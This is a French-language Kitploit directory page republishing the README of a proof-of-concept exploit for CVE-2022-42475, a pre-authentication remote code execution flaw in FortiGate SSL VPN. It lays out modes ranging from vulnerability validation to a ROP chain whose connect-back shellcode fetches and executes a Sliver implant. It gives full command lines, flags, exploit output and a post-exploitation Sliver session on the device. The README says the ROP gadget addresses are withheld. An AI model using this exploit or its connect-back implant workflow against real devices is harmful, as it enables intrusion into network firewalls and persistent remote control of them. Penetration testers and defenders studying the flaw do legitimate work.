Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42475-POC — Exploit pour CVE-2022-42475 ciblant FortiGate SSL VPN avec mode validate-only, exécution de chaîne ROP, et shellcode connect-back pour exécution de code à distance et déploiement binaire. | Kitploit
Outils/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Analyse des VulnérabilitésExploitationShellcodeSécurité WebTests d'IntrusionRed TeamingDéveloppement de Charges Utiles
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Exploit pour CVE-2022-42475 ciblant FortiGate SSL VPN avec mode validate-only, exécution de chaîne ROP, et shellcode connect-back pour exécution de code à distance et déploiement binaire.

Voir le dépôt
il y a 5 moisPas encore vérifié

CVE-2022-42475

Contexte

Ceci est l'exploit pour l'article de blog ici : https://bishopfox.com/blog/exploit-cve-2022-42475

Version expurgée

Cette version de l'exploit ne fonctionnera pas sans que vous, le hacker, fournissiez les adresses mémoire nécessaires pour les gadgets ROP, etc. Le travail pour déterminer ces données est confidentiel et propriétaire de Bishop Fox et je ne publierai pas (ne peux pas publier) ces informations avec cet exploit. Je suis sûr que vous comprenez !

Modes de fonctionnement

  • Validation uniquement, pas d'exploit. Détermine si la cible est vulnérable. Aucune charge utile, aucun shellcode.
  • Exploit, mais vérification uniquement. Exécute un « ping » de shellcode de connexion retour bénin pour vérifier que la cible est exploitable.
  • Exploit avec stager binaire de connexion retour. Le shellcode se connecte en retour à l'exploit, télécharge un fichier binaire chiffré fourni par l'opérateur (généralement https://github.com/BishopFox/Sliver), déchiffre le binaire, puis appelle execve(fichier_binaire).

Remarque : Actuellement, le mode « validation uniquement » fonctionne sur toutes les versions connues de FortiOS. Cependant, les exploits fonctionnent uniquement contre FortiOS 6.0.4 sur du matériel 100D. Je ne travaille plus chez BF et ne peux donc pas publier l'exploit étendu qui prend en charge environ 18 000 cibles.

Prérequis

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Validation uniquement

Cela ne fera aucune tentative d'exploiter le bogue, mais le déclenchera comme un plantage (le démon SSL VPN distant redémarre automatiquement et immédiatement). Le plantage est détecté heuristiquement et signalé à l'opérateur.

Exécutez-le avec le flag -v :

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mais validation (fonctionnalité disponible uniquement pour FortiOS 6.0.4 sur appareils 100D pour l'instant)

Cela déclenchera le bogue, déploiera une chaîne ROP et sautera vers le shellcode. Le shellcode est bénin et fonctionne comme suit :

  • L'exploit se connecte à la cible et déclenche la vulnérabilité pour exécuter le shellcode
  • Le shellcode se connecte en retour à l'IP:port de l'opérateur
  • Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
  • L'exploit délivre une petite charge utile de test chiffrée au shellcode (la clé AES est aléatoire à chaque exécution)
  • Le shellcode déchiffre la charge utile et la sauvegarde dans /tmp/x sur l'appareil FortiGate
  • Le shellcode envoie un autre octet 0xbf à l'exploit si le déchiffrement de la charge utile a réussi
  • L'exploit lit l'octet et confirme l'exécution de code.

Flags :

root@kitploit:~
-t           target host/IP
-p           target port
-e           exploit mode
-c           connect-back only mode
-H and -P    operator's IP:port  (required)
-s           software version of FortiOS (required)
-m           hardware model running FortiOS
-d           turn on debugging

Un exemple où nous sélectionnons à la fois la version logicielle 6.0.4 et le modèle d'appareil 100D :

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Si vous omettez le -m pour choisir un modèle de matériel, l'exploit testera par force brute toutes les cibles matérielles pour la version logicielle spécifiée.

Guerre thermonucléaire globale

  • L'opérateur spécifie l'emplacement d'un binaire d'implant Sliver (basé sur Linux)
  • L'exploit se connecte à la cible et déclenche la vulnérabilité pour exécuter le shellcode
  • Le shellcode se connecte en retour à l'IP:port de l'opérateur
  • Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
  • L'exploit chiffre le binaire Sliver et l'envoie au shellcode
  • Le shellcode déchiffre le binaire et le sauvegarde dans /tmp/x
  • Le shellcode envoie un octet « succès » 0xbf à l'exploit
  • L'exploit lit l'octet et confirme l'exécution de code
  • Le shellcode appelle execve("/tmp/x")
  • ???
  • Profit !

Flags :

root@kitploit:~
-t           target host/IP
-p           target port
-e           exploit mode
-f filename  /path/to/binary/to/execve/on/target
-H and -P    operator's IP:port for connect-back (required)
-s           software version of FortiOS (required)
-m           hardware model running FortiOS
-d           turn on debugging

Sliver :

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit :

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Et de retour dans Sliver :

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Notez que Sliver renvoie <err> car FortiOS est en quelque sorte principalement du Linux, et ne fonctionne pas toujours comme prévu. C'est un problème avec FortiOS, pas avec Sliver.

D'autres versions à venir

Je ne travaille plus chez Bishop Fox, donc vous devrez suivre le GitHub de BF pour les mises à jour à ce sujet.

Télécharger l’outil